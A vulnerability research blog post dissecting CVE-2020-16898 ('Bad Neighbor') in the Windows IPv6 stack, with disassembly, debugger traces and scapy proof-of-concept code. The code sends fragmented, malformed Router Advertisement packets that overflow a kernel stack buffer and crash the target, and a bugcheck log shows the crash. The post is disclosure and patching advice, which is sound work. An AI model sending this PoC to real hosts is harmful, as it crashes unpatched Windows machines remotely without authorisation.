This blog post analyzes the vulnerability known as "Bad Neighbor" or CVE-2020-16898, a stack-based buffer overflow in the IPv6 stack of Windows, which can be remotely triggered by means of a malformed Router Advertisement packet.
Introduction
On October 13th, 2020, Microsoft published a security patch addressing a remote code execution vulnerability in the IPv6 stack, known as CVE-2020-16898 or "Bad Neighbor". The issue is caused by an improper handling of Router Advertisement messages, which are part of the Neighbor Discovery protocol. In this blog post we analyze how this vulnerability, a stack-based buffer overflow, can be used to overwrite a return address in the kernel with a fully controlled value, ultimately allowing a remote unauthenticated attacker to achieve remote code execution on the kernel of Windows machines. However, this bug probably needs to be chained with an additional memory disclosure vulnerability. Not impossible, but not easy.
Triggering the underlying problem: RDNSS option with an even Length field
Router Advertisement (RA for short) is one of the message types of the Neighbor Discovery (ND) protocol, which is part of the IPv6 protocol stack. Router Advertisement messages are sent by routers to advertise their presence, together with various link and Internet parameters.
RA packets can contain a variable number of Options, such as DNS Search List Option option (DNSSL) or Recursive DNS Server Option (RDNSS).
When a Windows host receives an RA message, the tcpip!Ipv6pHandleRouterAdvertisement function is called to handle it. This function performs a bunch of sanity checks on the received packet, and then it starts parsing the options contained in the RA message.
In particular, RDNSS options are parsed by the tcpip!Ipv6pUpdateRDNSS function. This is the format of the RDNSS option:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Length | Reserved |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Lifetime |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
: Addresses of IPv6 Recursive DNS Servers :
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
The Length field in RA options is expressed in units of 8 octets, meaning that for an option of size 0x18, the Length field will be 0x18 / 8 == 3. The fixed part of a RDNSS option is composed by the Type, Length, Reserved and Lifetime fields, which take exactly 8 bytes, or 1 unit of 8 octets. Then it is followed by a variable number of IPv6 addresses, and each one of them takes 16 bytes, or 2 units of 8 octets. This means that, for any given RDNSS option containing N IPv6 addresses, the Length field should always be odd, since it has the form 2*N + 1.
And this is where the vulnerability is located: if we send a Router Advertisement packet containing an RDNSS option with an even length (1 less than the expected value), as stated by the McAfee blog post, "the Windows TCP/IP stack incorrectly advances the network buffer by an amount that is 8 bytes too few". As a result, the last 8 bytes of the RDNSS option are erroneously interpreted as the first 8 bytes of a second option.
So, what happens if we build and send a malformed RDNSS option with an even Length value? Let's say that we want to build an RDNSS option whose total size is 0x20 bytes, with a Length field of 4. The following Python code uses scapy to build such a malformed option:
def poc_last_8_bytes(target_addr):
ip = IPv6(dst = target_addr)
ra = ICMPv6ND_RA()
rdnss = ICMPv6NDOptRDNSS(lifetime=900, dns=["4141:4141:4141:4141:4141:4141:4141:4141",
"4242:4242:4242:4242:4242:4242:4242:4242"])
# We put an even value for the option length (correct length should be 5)
rdnss.len = len(rdnss.dns) * 2
# We adjust the actual option size (when 'confused' is appended to it,
# it must be rdnss.len * 8 bytes == 0x20 bytes long)
truncated = bytes(rdnss)[: (rdnss.len-1) * 8]
# The last 8 bytes of the crafted RDNSS option are interpreted as
# the start of a second option
confused = 'XXXXYYYY'
crafted = truncated + confused
send(ip/ra/crafted)
The function in charge of parsing this option (tcpip!Ipv6pUpdateRDNSS) calculates the number of IPv6 addresses in the option as (option.Length - 1) / 2, whose result in this case is (4 - 1) / 2 == 1.
Ipv6pUpdateRDNSS+99 movzx eax, byte ptr [rbx+1] ; eax = option.length
Ipv6pUpdateRDNSS+9D lea ecx, [rsi+1]
Ipv6pUpdateRDNSS+A0 sub eax, esi ; eax = option.length - 1
Ipv6pUpdateRDNSS+A2 or r15d, 0FFFFFFFFh
Ipv6pUpdateRDNSS+A6 cdq
Ipv6pUpdateRDNSS+A7 idiv ecx ; eax = (option.length - 1) / 2
Ipv6pUpdateRDNSS+A9 mov edx, [rbx+4]
Ipv6pUpdateRDNSS+AC mov [rbp+4Fh+number_of_ipv6_addresses], eax
As a consequence, the function will advance the NET_BUFFER (the structure from where it reads bytes from the packet) for 3 units of 8 bytes: 1 8-byte unit for the fixed Type/ Length/Reserved/Lifetime fields, which together occupy 8 bytes, and 2 8-byte units for the single IPv6 address that it assumes is included in the RDNSS option, due to the miscalculation. But our RDNSS option was 0x20 bytes in size (that is, 4 units of 8 bytes), meaning that the Ipv6pUpdateRDNSS function has advanced the NET_BUFFER 8 bytes less than it should.
Let's put a breakpoint at the point in tcpip!Ipv6pHandleRouterAdvertisement where it iterates over the options contained in the Router Advertisement packet :
Ipv6pHandleRouterAdvertisement+96C mov r9d, edi ; AlignMultiple
Ipv6pHandleRouterAdvertisement+96F mov [rsp+3A0h+AlignOffset], r15d ; AlignOffset
Ipv6pHandleRouterAdvertisement+974 lea r8, [rbp+2A0h+var_2F4] ; Storage
Ipv6pHandleRouterAdvertisement+978 mov edx, eax ; BytesNeeded
Ipv6pHandleRouterAdvertisement+97A mov rcx, r14 ; NetBuffer
Ipv6pHandleRouterAdvertisement+97D call cs:__imp_NdisGetDataBuffer
Ipv6pHandleRouterAdvertisement+984 nop dword ptr [rax+rax+00h]
Ipv6pHandleRouterAdvertisement+989 movzx ecx, byte ptr [rax+1] ; ecx = option.length
If we send the malformed packet, the first time the breakpoint is hit we can see that it's dealing with our malformed RDNSS option (see the option.Type == 0x19 followed by option.Length == 4 at the buffer pointed by RAX):
Breakpoint 0 hit
rax=ffff920766042650 rbx=0000000000000010 rcx=0000000000000000
rdx=0000000000000000 rsi=ffff9207611d98a0 rdi=0000000000000001
rip=fffff8023e49ef51 rsp=fffff8023ec663c0 rbp=fffff8023ec664c0
r8=fffff8023ec6646c r9=0000000000000001 r10=fffff8023e1fe0d0
r11=fffff8023ec66390 r12=0000000000000e10 r13=ffff92075e7a6b80
r14=ffff92075ec57e90 r15=0000000000000000
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
tcpip!Ipv6pHandleRouterAdvertisement+0x989:
fffff802`3e49ef51 0fb64801 movzx ecx,byte ptr [rax+1] ds:002b:ffff9207`66042651=04
0: kd> db @rax
ffff9207`66042650 19 04 00 00 00 00 03 84-41 41 41 41 41 41 41 41 ........AAAAAAAA
ffff9207`66042660 41 41 41 41 41 41 41 41-58 58 58 58 59 59 59 59 AAAAAAAAXXXXYYYY
ffff9207`66042670 6f 61 70 3a 45 6e 76 65-6c 6f 70 65 20 78 6d 6c oap:Envelope xml
After resuming execution, the breakpoint is hit a second time, and surprisingly it's now dealing with the last 8 bytes of our crafted RDNSS option, as if it was a second option present in the Router Advertisement packet.
0: kd> g
Breakpoint 0 hit
rax=ffff920766042668 rbx=0000000000000030 rcx=0000000000000000
rdx=0000000000000000 rsi=ffff9207611d98a0 rdi=0000000000000001
rip=fffff8023e49ef51 rsp=fffff8023ec663c0 rbp=fffff8023ec664c0
r8=fffff8023ec6646c r9=0000000000000001 r10=fffff8023e1fe0d0
r11=ffff920766042620 r12=0000000000000e10 r13=ffff92075e7a6b80
r14=ffff92075ec57e90 r15=0000000000000000
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
tcpip!Ipv6pHandleRouterAdvertisement+0x989:
fffff802`3e49ef51 0fb64801 movzx ecx,byte ptr [rax+1] ds:002b:ffff9207`66042669=58
0: kd> db @rax
ffff9207`66042668 58 58 58 58 59 59 59 59-6f 61 70 3a 45 6e 76 65 XXXXYYYYoap:Enve
ffff9207`66042678 6c 6f 70 65 20 78 6d 6c-6e 73 3a 73 6f 61 70 3d lope xmlns:soap=
Going for the buffer overflow
The previous section explained how to reproduce the underlying problem, which can be triggered by sending a Router Advertisement packet containing an RDNSS option with an even value in the Length field. Now let's see how to get past this and trigger a stack-based buffer overflow in the tcpip.sys kernel driver.
If we craft the last 8 bytes of our malformed RDNSS option to look like a Route Information Option (whose type is 0x18), the following path is taken:
Ipv6pHandleRouterAdvertisement+97D call cs:__imp_NdisGetDataBuffer
Ipv6pHandleRouterAdvertisement+984 nop dword ptr [rax+rax+00h]
Ipv6pHandleRouterAdvertisement+989 movzx ecx, byte ptr [rax+1] ; ecx = option.length
Ipv6pHandleRouterAdvertisement+98D shl cx, 3 ; cx = option_length * 8
Ipv6pHandleRouterAdvertisement+991 mov [rsp+3A0h+actual_option_length_2], cx
[...]
Ipv6pHandleRouterAdvertisement+9AC movzx ecx, byte ptr [rax] ; ecx = option.type
Ipv6pHandleRouterAdvertisement+9AF sub ecx, 3 ; case 3 (ICMPv6NDOptPrefixInfo):
Ipv6pHandleRouterAdvertisement+9B2 jz short loc_1C004EFD4
Ipv6pHandleRouterAdvertisement+9B4 sub ecx, 15h ; case 0x18 (ICMPv6NDOptRouteInfo):
Ipv6pHandleRouterAdvertisement+9B7 jz loc_1C00FCAA3
[...]
Ipv6pHandleRouterAdvertisement+AE4DB loc_1C00FCAA3:
Ipv6pHandleRouterAdvertisement+AE4DB xor eax, eax
Ipv6pHandleRouterAdvertisement+AE4DD mov [rsp+3A0h+AlignOffset], r15d ; AlignOffset
Ipv6pHandleRouterAdvertisement+AE4E2 movzx r15d, [rsp+3A0h+actual_option_length_2]
Ipv6pHandleRouterAdvertisement+AE4E8 lea r8, [rbp+2A0h+var_E8] ; Storage
Ipv6pHandleRouterAdvertisement+AE4EF mov edx, r15d ; BytesNeeded
Ipv6pHandleRouterAdvertisement+AE4F2 mov [rbp+2A0h+var_E8], rax
Ipv6pHandleRouterAdvertisement+AE4F9 mov r9d, edi ; AlignMultiple
Ipv6pHandleRouterAdvertisement+AE4FC mov [rbp+2A0h+var_E0], rax
Ipv6pHandleRouterAdvertisement+AE503 mov rcx, r14 ; NetBuffer
Ipv6pHandleRouterAdvertisement+AE506 mov [rbp+2A0h+var_D8], rax
Ipv6pHandleRouterAdvertisement+AE50D mov [rbp+2A0h+route_info_prefix_copy], rax
Ipv6pHandleRouterAdvertisement+AE514 mov [rbp+2A0h+route_info_prefix_copy+8], rax
Ipv6pHandleRouterAdvertisement+AE51B call cs:__imp_NdisGetDataBuffer
As we can see, it calls NdisGetDataBuffer to read the actual number of bytes indicated by our option (option.Length * 8) from the NET_BUFFER structure that holds the contents of the packet. Notice that the BytesNeeded parameter is fully controlled by us.
Here comes the interesting part. The documentation of the NdisGetDataBuffer function says the following:
PVOID NdisGetDataBuffer(
PNET_BUFFER NetBuffer,
ULONG BytesNeeded,
PVOID Storage,
UINT AlignMultiple,
UINT AlignOffset
);
Parameters
NetBuffer
[in] A pointer to a NET_BUFFER structure.
BytesNeeded
[in] The number of contiguous bytes of data requested.
Storage
[in, optional] A pointer to a buffer, or NULL if no buffer is provided by the caller.
The buffer must be greater than or equal in size to the number of bytes specified in BytesNeeded.
If this value is non-NULL, and the data requested is not contiguous, NDIS copies the requested
data to the area indicated by Storage.
AlignMultiple
[in] The alignment multiple expressed in power of two. For example, 2, 4, 8, 16, and so forth.
If AlignMultiple is 1, then there is no alignment requirement.
AlignOffset
[in] The offset, in bytes, from the alignment multiple.
Return value
NdisGetDataBuffer returns a pointer to the start of the contiguous data or it returns NULL.
If the DataLength member of the NET_BUFFER_DATA structure in the NET_BUFFER structure that
the NetBuffer parameter points to is less than the value in the BytesNeeded parameter, the
return value is NULL.
If the requested data in the buffer is contiguous, the return value is a pointer to a
location that NDIS provides. If the data is not contiguous, NDIS uses the Storage parameter as follows:
* If the Storage parameter is non-NULL, NDIS copies the data to the buffer at Storage.
The return value is the pointer passed to the Storage parameter.
* If the Storage parameter is NULL, the return value is NULL.
So we have two interesting things to highlight about it:
If provided (as is the case in the code above), the Storage buffer must be big enough to hold the number of bytes specified in the BytesNeeded parameter.
If the requested data in the buffer is contiguous, the return value is a pointer to a location that NDIS provides. That is not interesting for us. However, if the data is not contiguous, and if the Storage parameter is non-NULL, the function copies the data to the buffer at Storage.
As we can see in the disassembly above, the Storage parameter is the local variable var_E8, located in the stack.
So, if we put all the pieces together, we can see the possibility of a stack-based buffer overflow: there's a call to NdisGetDataBuffer, we have full control over the BytesNeeded parameter, and the destination buffer (the Storage parameter) is a fixed-size buffer located on the stack. However, to trigger the buffer overflow we need to jump over one last hurdle: how can we make our packet data to be stored in the NET_BUFFER in a non-contiguous way, in order to force the NdisGetDataBuffer function to write the data to the Storage parameter, instead of returning a pointer to a brand new buffer?
As you are probably guessing right now, the answer is fragmentation. If we send the Router Advertisement packet with the malformed RDNSS option split into several IPv6 fragments, the reassembled packet data is stored in a non-contiguous way in a NET_BUFFER. This way, the call to NdisGetDataBuffer will copy an arbitrary number of bytes from our packet to a fixed-size buffer in the stack, resulting in a stack-based buffer overflow, allowing us to overwrite the return address of tcpip!Ipv6pHandleRouterAdvertisement with an arbitrary value.
The key here is that including a Route Information option with a big Length is only possible due to the RDNSS even length bug: our crafted Route Information option with a big Length was disguised as being an IPv6 address within the RDNSS option during the early sanity checks performed by the tcpip!Ipv6pHandleRouterAdvertisement function over each option in the packet. If you attempt to send a well-formed Router Advertisement message containing a Route Information option with a big Length, you will be caught by the following early sanity check, which allows a maximum actual size (option.Length * 3) of 0x18 for Route Information options.
Ipv6pHandleRouterAdvertisement+224 call cs:__imp_NdisGetDataBuffer
Ipv6pHandleRouterAdvertisement+22B nop dword ptr [rax+rax+00h]
Ipv6pHandleRouterAdvertisement+230 mov edx, [r14+18h]
Ipv6pHandleRouterAdvertisement+234 xor r8d, r8d ; FreeMdl
Ipv6pHandleRouterAdvertisement+237 movzx r15d, byte ptr [rax+1]
Ipv6pHandleRouterAdvertisement+23C shl r15w, 3 ; actual size = option.Length * 8
[...]
Ipv6pHandleRouterAdvertisement+AE02C sub ecx, 13h ; case 0x18 (ICMPv6NDOptRouteInfo):
Ipv6pHandleRouterAdvertisement+AE02F jz short loc_1C00FC653
[...]
Ipv6pHandleRouterAdvertisement+AE08B loc_1C00FC653:
Ipv6pHandleRouterAdvertisement+AE08B xor eax, eax
Ipv6pHandleRouterAdvertisement+AE08D mov [rbp+2A0h+var_100], rax
Ipv6pHandleRouterAdvertisement+AE094 mov [rbp+2A0h+var_F8], rax
Ipv6pHandleRouterAdvertisement+AE09B mov [rbp+2A0h+var_F0], rax
Ipv6pHandleRouterAdvertisement+AE0A2 mov eax, 18h
Ipv6pHandleRouterAdvertisement+AE0A7 cmp r15w, ax ; actual size > 0x18?
Ipv6pHandleRouterAdvertisement+AE0AB ja short loc_1C00FC6C9 ; if so, bail out
Proof of concept
The following proof-of-concept code triggers the vulnerability, overwriting the return address of tcpip!Ipv6pHandleRouterAdvertisement and triggering a BSOD.
I have set the Length field of the Route Information option here to 0x22, meaning that NdisGetDataBuffer will copy 0x22 * 8 == 0x110 bytes to the stack, which is enough to overwrite the return address on the version of tcpip.sys I'm using for testing.
Notice that after the crafted RDNSS option and the Route Information option that controls the overflow, I'm including some properly formed RDNSS options; the value that overwrites the return address (0x4242424242424242) is taken from those and therefore it's fully controlled.
def trigger(target_addr):
ip = IPv6(dst = target_addr)
ra = ICMPv6ND_RA()
rdnss = ICMPv6NDOptRDNSS(lifetime=900, dns=["3030:3030:3030:3030:3030:3030:3030:3030",
"3131:3131:3131:3131:3131:3131:3131:3131"])
# We put an even value for the option length (original length was 5)
rdnss.len = len(rdnss.dns) * 2
truncated = bytes(rdnss)[: (rdnss.len-1) * 8]
# The last 8 bytes of the crafted RDNSS option are interpreted as the start of a second option
# We build a Route Information Option here
# https://tools.ietf.org/html/rfc4191#section-2.3
# Second byte (0x22) is the Length. This controls the size of the buffer overflow
# (in this case, 0x22 * 8 == 0x110 bytes will be written to the stack buffer)
routeinfo = '\x18\x22\xfd\x81\x00\x00\x03\x84'
# the value that overwrites the return address is taken from here
correct = ICMPv6NDOptRDNSS(lifetime=900, dns=["4141:4141:4141:4141:4141:4141:4141:4141",
"4242:4242:4242:4242:4242:4242:4242:4242"])
crafted = truncated + routeinfo
FH=IPv6ExtHdrFragment()
ip.hlim = 255
packet = ip/FH/ra/crafted/correct/correct/correct/correct/correct/correct/correct/correct/correct
frags=fragment6(packet, 100)
print("len of packet: %d | number of frags: %d" % (len(packet), len(frags)))
packet.show()
for frag in frags:
send(frag)
The PoC generates the following bugcheck in my test machine, due to the corruption of the stack cookie:
*** Fatal System Error: 0x00000139
(0x0000000000000002,0xFFFFF8023EC65F70,0xFFFFF8023EC65EC8,0x0000000000000000)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=000000000000008a rsi=0000000000000000 rdi=fffff8023b1a1180
rip=fffff8023c26f3a0 rsp=fffff8023ec654a8 rbp=fffff8023ec65610
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=fffff8023ec652d0 r12=0000000000000003 r13=0000000000000002
r14=0000000000000000 r15=fffff8023c637400
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040282
nt!DbgBreakPointWithStatus:
fffff802`3c26f3a0 cc int 3
0: kd> k
# Child-SP RetAddr Call Site
00 fffff802`3ec654a8 fffff802`3c34f622 nt!DbgBreakPointWithStatus
01 fffff802`3ec654b0 fffff802`3c34ed12 nt!KiBugCheckDebugBreak+0x12
02 fffff802`3ec65510 fffff802`3c267617 nt!KeBugCheck2+0x952
03 fffff802`3ec65c10 fffff802`3c2793e9 nt!KeBugCheckEx+0x107
04 fffff802`3ec65c50 fffff802`3c279810 nt!KiBugCheckDispatch+0x69
05 fffff802`3ec65d90 fffff802`3c277ba5 nt!KiFastFailDispatch+0xd0
06 fffff802`3ec65f70 fffff802`3e519055 nt!KiRaiseSecurityCheckFailure+0x325
07 fffff802`3ec66108 fffff802`3e49f6b7 tcpip!_report_gsfailure+0x5
08 fffff802`3ec66110 42424242`42424242 tcpip!Ipv6pHandleRouterAdvertisement+0x10ef
09 fffff802`3ec664c0 84030000`00000519 0x42424242`42424242
0a fffff802`3ec664c8 41414141`41414141 0x84030000`00000519
0b fffff802`3ec664d0 41414141`41414141 0x41414141`41414141
0c fffff802`3ec664d8 00000000`00000000 0x41414141`41414141
Conclusions
The vulnerability known as CVE-2020-16898 or "Bad Neighbor" allows the last 8 bytes of a RDNSS option to be interpreted as the first bytes of a second option. Since these last 8 bytes of the RDNSS option are initially supposed to be part of an IPv6 address, they are not subject to the same sanity checks (e.g. maximum Length value) that are performed over each option, early in the processing of the packet. As a consequence, it is possible to include a Route Information option with a big Length value in these misinterpreted 8 bytes, which ultimately causes a stack-based buffer overflow, in which the attacker controls both the size and the values.
Finally, the use of IPv6 fragmentation is necessary in order to force the NdisGetDataBuffer to write data to the target stack buffer; otherwise, the data is written to a new, properly-sized buffer, and no overflow happens.
This is some scary vulnerability, given that it can be triggered from remote without authentication, and it allows the remote attacker to overwrite a return address in the kernel with a fully controlled value. However, in order to achieve remote code execution, the attacker would need to bypass the stack cookie protection, and would also need to have knowledge of the memory layout of the kernel of the target machine, so this bug probably needs to be chained with an additional memory disclosure vulnerability.
So don't waste any time and patch quickly, or at the very least follow the workaround provided by Microsoft and disable RDNSS.